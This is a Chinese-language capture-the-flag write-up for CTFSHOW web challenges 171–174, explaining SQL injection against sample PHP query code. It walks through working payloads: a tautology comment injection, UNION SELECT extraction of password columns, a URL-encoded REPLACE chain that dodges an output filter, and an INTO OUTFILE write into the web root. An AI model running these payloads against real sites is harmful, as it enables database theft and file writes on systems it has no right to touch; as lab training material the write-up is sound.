CTFSHOW web SQL注入WriteUP Part1
前面做累了做点简单的玩玩,小白白做的菜,或许解释的不对,大佬轻喷QAQ
WEB171
第一道题,很简单,基本上就是考的入门基础
1
2
|
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
|
给了查询代码,是经典的sql查询语句
这里简单拆一下
1
2
3
4
5
|
select username,password --选中username,password两行
from user --从user表中
where username != 'flag' --不选中username项为flag的表
and id = '".$_GET['id']."' --id为(这里'".$_GET['id']."'是传入参数的点)
limit 1; --限制只能查询一行
|
很明显这里是有问题的,如果给ID传个' --
会怎么样呢?
1
|
and id = '"'-- "' limit 1;
|
这里注释直接把后面的语句给干掉了,我们可以直接从这里入手,直接传一个万能密码1' or 1=1 --
直接把所有表爆出来了
1
2
3
4
5
6
|
/**
⚠注意:这里结尾用的“-- ”后面有个空格。
虽然sql中 `--` 是注释的意思,但是至少在MYSQL中,这种注释后直接跟语句是不合法的。
此外,某些浏览器可能会吃掉最后的空格,
如果遇到这种情况,可以用+或者%20等等替换掉这个空格,也可以直接把`--+`这个语句换成%23(url编码:#)
**/
|
可是前面有一个username !='flag'
语句,为什么会直接把所有表出了呢?
其实我们传进去这个以后,sql语句相当于变成了这两句
1
2
3
|
select username,password from user where username !='flag' and id = '"1'
or 1=1
--+ "' limit 1;
|
前面写的一整个语句都没用了,因为我们给了或的条件,整个表等价成了这样
1
|
where username != 'flag' and id = '"1' (or 1=1)
|
and的优先级比较高,所以先判断username != 'flag' and id = '"1'
。
1=1被单独判断了,而且它是恒真的,所以直接打出了所有的表。
WEB172
1
2
3
4
|
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
|
现在不能用上一道的payload了,因为直接输出会把咱们的结果吃掉
注意到这里对传入参数没有任何过滤,只是过滤了输出值,于是我们可以使用UNION联合查询来绕过
1
|
'1'UNION SELECT 1,password from ctfshow_user2 --+
|
这里因为flag存在password里了,只需要获取password中的值就可以了
这里补充一些简单函数
1
2
3
4
|
database() -- 数据库名
group_concat(table_name) --表名
group_concat(column_name)--字段名
group_concat(xxxx字段名) --获取字段值
|
WEB173
1
2
3
4
|
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
|
这里payload同上,因为flag的格式是ctfshow{},所以并不影响做题(doge)
WEB174
首先吐槽一下,这道题刚打开上栏里的无过滤注入4打开是select-no-waf-3.php,但是真正的题是select-no-waf-4.php,给我折腾了一圈
1
2
3
4
5
|
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
|
这里把0-9都给干掉了,怎么办呢?
有两种方法,第一种是替换,第二种是把结果输出一个文件,从而绕过过滤
第一种
payload
1
|
https://69860b52-d551-457b-99cc-737488724347.challenge.ctf.show/api/v4.php?id=-1%27%20UNION%20SELECT%20REPLACE(username,%27f%27,%27G%27),%20REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,%279%27,%27nine%27),%278%27,%27eight%27),%277%27,%27seven%27),%276%27,%27six%27),%275%27,%27five%27),%274%27,%27four%27),%273%27,%27three%27),%272%27,%27two%27),%271%27,%27one%27),%270%27,%27zero%27)%20from%20ctfshow_user4%20--+
|
这里只能用js里面的api来看,直接用前端的会提示获取异常
得到
1
|
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"username":"admin","password":"admin"},{"username":"userAUTO","password":"passwordAUTO"},{"username":"Glag","password":"ctfshow{fefourthreebonethreenine-ceightoned-foureightaf-eightsevenfd-esevenonefoureightcaseventwocfourfive}"}]}
|
手动替换或者写个python脚本可以得到最终flag
第二种
SQL中,into outputfile可以输出文件,
1
|
UNION SELECT username,password from ctfshow_user4 into outfile '/var/www/html/1.txt' --
|
发现不可以用*代替username,password,不知道为什么,带佬可以解释一下
直接访问1.txt直接得到flag